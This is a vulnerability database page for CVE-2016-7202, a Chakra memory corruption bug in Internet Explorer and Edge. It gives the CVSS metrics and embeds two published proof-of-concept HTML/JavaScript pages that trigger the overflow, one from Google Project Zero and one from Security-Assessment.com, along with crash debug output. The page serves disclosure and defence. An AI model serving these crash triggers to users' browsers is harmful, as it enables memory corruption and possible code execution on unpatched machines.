CVE-2016-7202 : Detail

CVE-2016-7202

7.5
/
High
Overflow
78.96%V3
Network
2016-11-10
05h16 +00:00
2018-10-12
17h57 +00:00
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CVE Descriptions

The scripting engines in Microsoft Internet Explorer 9 through 11 and Microsoft Edge allow remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site, aka "Scripting Engine Memory Corruption Vulnerability," as demonstrated by the Chakra JavaScript engine, a different vulnerability than CVE-2016-7200, CVE-2016-7201, CVE-2016-7203, CVE-2016-7208, CVE-2016-7240, CVE-2016-7242, and CVE-2016-7243.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 7.6 AV:N/AC:H/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 40786

Publication date : 2016-11-17 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

<!-- Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=925 There is an overflow when reversing arrays in Chakra. On line 5112 of JavascriptArray::EntryReverse, the length of the array is fetched and stored. It is then passed as a parameter into JavascriptArray::ReverseHelper, which then calls FillFromPrototypes, which can change the size of the array. If the size of the array is set to be larger than it was when the length was fetched, the calculation of the array segment head left value on line 5219: seg->left = ((uint32)length) - (seg->left + seg->length); Can become a very large value (as length is larger than seg->length and seg->left is generally 0). This can cause the segment length to become larger than the segment size the next time SparseArraySegmentBase::EnsureSizeInBound is called, as the method contains the following code: uint32 nextLeft = next ? next->left : JavascriptArray::MaxArrayLength; Assert(nextLeft > left); if(size != 0) { size = min(size, nextLeft - left); } nextLeft can be smaller than the segment length if next is null and left is very large, leading size to be set to a small value which is less than the segment length. Many other methods, including setting an element of an array assume that size is less than length, and often allocate size bytes then copy length bytes, leading to an overflow if length is actually more than size. A minimal PoC is as follows: var a = [1]; a.length = 1000; var j = []; var o = {}; Object.defineProperty(o, '1', { get: function() { a.length = 1002; j.fill.call(a, 7.7); return 2; } }); a.__proto__ = o; var r = j.reverse.call(a); r.length = 0xfffffffe; r[0xfffffffe - 1] = 10; A full PoC is attached. Note that this PoC sometimes needs to be refreshed a few times to cause a crash. --> <html> <head><meta http-equiv="refresh" content="1"> </head> <body> <script> var a = [1]; a.length = 1000; var j = []; var o = {}; Object.defineProperty(o, '1', { get: function() { //alert('get!'); a.length = 1002; j.fill.call(a, 7.7); return 2; } }); a.__proto__ = o; var place = []; for(var i = 0; i < 10; i++){ var r = j.reverse.call(a); r.length = 0xfffffffe; r[0xfffffffe - 1] = 10; var q = [1,2,3,4,5,6,7,8,9,10]; place.push(q); } //alert(place.join()); </script> </body> </html>
Exploit Database EDB-ID : 40793

Publication date : 2016-11-20 23h00 +00:00
Author : Security-Assessment.com
EDB Verified : Yes

<!-- Source: http://www.security-assessment.com/files/documents/advisory/edge_chakra_mem_corruption.pdf Name: Microsoft Edge Scripting Engine Memory Corruption Vulnerability (MS16-129) CVE: CVE-2016-7202 Vendor Website: http://www.microsoft.com/ Date Released: 09/11/2016 Affected Software: Microsoft Windows 10, Microsoft Windows Server 2016 Researchers: Scott Bell Description A memory corruption vulnerability was identified in the Microsoft Edge Chakra JavaScript engine which could allow a malicious user to remotely execute arbitrary code on a vulnerable user’s machine, in the context of the current user. Exploitation Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means. The following table shows some cursory debug information: First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00040001 ebx=01b1e760 ecx=00000012 edx=00000006 esi=00000000 edi=03f60000 eip=6a714bea esp=0328fa80 ebp=0328fab0 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Recycler::ScanObject+0x23: 6a714bea 8b37 mov esi,dword ptr [edi] ds:0023:03f60000=???????? 2:046> k ChildEBP RetAddr 0328fab0 6a589768 jscript9!Recycler::ScanObject+0x23 0328facc 6a58973a jscript9!Recycler::TryMarkBigBlockList+0x22 0328faf0 6a589d83 jscript9!Recycler::ScanArena+0x7a 0328fb24 6a585f4c jscript9!Recycler::BackgroundFindRoots+0x8e 0328fb34 6a561263 jscript9!Recycler::DoBackgroundWork+0x103 0328fb60 6a6b162c jscript9!Recycler::ThreadProc+0xd1 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\msvcrt.dll - 0328fb98 775c1287 jscript9!Recycler::StaticThreadProc+0x1c WARNING: Stack unwind information not available. Following frames may be wrong. 0328fbd0 775c1328 msvcrt!itow_s+0x4c *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\kernel32.dll - 0328fbd8 7793ef1c msvcrt!endthreadex+0x6c 0328fbe4 777e3648 kernel32!BaseThreadInitThunk+0x12 0328fc24 777e361b ntdll!__RtlUserThreadStart+0x70 0328fc3c 00000000 ntdll!_RtlUserThreadStart+0x1b The following proof of concept code can be used to reproduce the vulnerability: --> <html> <META http-equiv="Expires" content="Tue, 20 Aug 1996 14:25:27 GMT"> <META http-equiv="Content-Type" content="text/html; charset=ISO-8859-5"> <body> <script>try{ for(var z in "a") a1.set(a1, '' ); Array.prototype.sort.call(a1, 'a', a1) a1 = this; a2 = []; a1 = a2.concat(a1.a1); var a1 = new Iterator(a1); a1.add(a1); for (let zzz = 0; zzz < 117; ++zzz) {a1.unshift(a2, a1);} a1.reverse(); Array.prototype.reverse.call(a1); a1.splice(1, 10); }catch(e){};</script> </body> </html> <!-- Solution M icrosoft validated this security issue and issued a patch (MS16-129) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update. About Security-Assessment.com Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients. Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research. For further information on this issue or any of our service offerings, contact us: Web www.security-assessment.com Email [email protected] -->

Products Mentioned

Configuraton 0

Microsoft>>Edge >> Version *

References

https://www.exploit-db.com/exploits/40793/
Tags : exploit, x_refsource_EXPLOIT-DB
https://www.exploit-db.com/exploits/40786/
Tags : exploit, x_refsource_EXPLOIT-DB
http://www.securityfocus.com/bid/94042
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1037245
Tags : vdb-entry, x_refsource_SECTRACK